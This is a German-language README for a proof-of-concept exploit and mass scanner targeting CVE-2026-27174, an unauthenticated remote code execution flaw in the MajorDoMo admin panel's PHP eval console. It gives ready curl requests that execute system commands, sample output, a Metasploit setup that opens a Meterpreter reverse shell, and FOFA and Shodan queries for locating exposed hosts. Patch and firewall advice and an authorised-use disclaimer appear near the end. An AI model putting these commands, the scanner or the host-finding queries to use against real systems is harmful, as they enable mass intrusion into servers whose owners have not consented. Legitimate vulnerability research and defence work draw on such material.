
CVE-2026-27174 - Eine nicht authentifizierte Remote-Codeausführung über die PHP-Konsolenfunktion des Admin-Panels
Ein Proof-of-Concept, das eine nicht authentifizierte Remote-Codeausführung über die PHP-Konsolenfunktion des Admin-Panels in MajorDomo (Major Domestic Module) ausnutzt.
Das Admin-Panel von MajorDoMo stellt über /admin.php eine PHP-Auswertungskonsole bereit. Aufgrund eines fehlenden exit nach einer Authentifizierungsweiterleitung in panel.class.php wird der AJAX-Handler inc_panel_ajax.php bedingungslos eingebunden – wodurch dessen eval() von jeder nicht authentifizierten HTTP-Anfrage erreicht werden kann.
Ein Angreifer kann mit einer einzigen GET-Anfrage beliebigen PHP-Code ausführen – ohne Anmeldedaten, ohne vorherigen Zugriff und ohne Interaktion seitens des Opfers.
scan.py ist ein nicht-destruktiver, multithreaded Scanner, der Hosts erkennt, die für CVE-2026-27174 anfällig sind, ohne schädliche Payloads auszuführen.
Der Scanner arbeitet pro Ziel in drei aufeinanderfolgenden Phasen:
Phase 1 — RCE-Bestätigung
└─ Sendet: echo 'random_marker';
└─ Prüft: Marker wird im Antworttext reflektiert
└─ Bestätigt: eval() ist ohne Authentifizierung erreichbar
Phase 2 — PHP-Sandbox-Profilierung
└─ Sendet: echo 'marker:' . ini_get('disable_functions');
└─ Extrahiert: Liste der auf dem Server deaktivierten PHP-Funktionen
Phase 3 — OS-Ausführungsoberfläche
└─ Prüft: system, exec, shell_exec, passthru via function_exists()
└─ Klassifiziert: Auswirkungsgrad als HIGH oder MEDIUM
Ein zufälliger alphanumerischer Marker wird pro Anfrage generiert, um Fehlalarme durch Caching, WAFs oder Antwortverschmutzung zu vermeiden.
pip install requests
Erstelle eine Datei targets.txt mit einem IP:PORT pro Zeile:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# Zeilen, die mit # beginnen, werden ignoriert
# nur das Format IP:PORT wird akzeptiert
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonWird automatisch erzeugt, wenn mindestens ein anfälliger Host gefunden wird:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
Basierend auf dem Wert des Feldes system_functions_available in der Datei result.json können wir eine GET-Anfrage mit den Systemfunktionen erstellen, um die RCE auszunutzen:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#oder
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Metasploit-Modul:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
Ein remote nicht authentifizierter Angreifer kann:
Die tatsächliche Auswirkung hängt von der disable_functions-PHP-Konfiguration des Servers ab:
CVSS 4.0 - 9.3 KRITISCH — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Auf die neueste Version von MajorDomo (Major Domestic Module) aktualisieren.
| Kontrolle | Verhindert RCE | Verhindert OS-Ausführung |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
Dieses Tool ist nur für autorisierte Sicherheitstests bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal.
| Feld | Beschreibung |
|---|
target | Gescannte IP:PORT |
url | Vollständige URL, unter der RCE bestätigt wurde |
rce_php | PHP-Codeausführung bestätigt (in Ergebnissen immer true) |
disable_functions | PHP-Einstellung disable_functions des Servers (null, wenn leer) |
system_functions_available | OS-Ausführungsfunktionen, die ein Angreifer aufrufen kann |
impact_level | HIGH (OS-Ausführung erreichbar) oder MEDIUM (nur PHP-RCE) |
| Szenario | Auswirkungsgrad | Beschreibung |
|---|
Kein disable_functions | KRITISCH | Vollständige OS-Befehlausführung |
| Teilweise Einschränkungen | HOCH | PHP-RCE + teilweise OS-Ausführung |
disable_functions blockiert alle exec-Funktionen | MITTEL | Nur PHP-RCE (Datei lesen/schreiben, Datensammlung) |
| Patch vom 18.02.2026 anwenden | ✅ | ✅ |
Firewall/IP-Allowlist für /admin.php | ✅ | ✅ |
disable_functions-Härtung | ❌ | ✅ |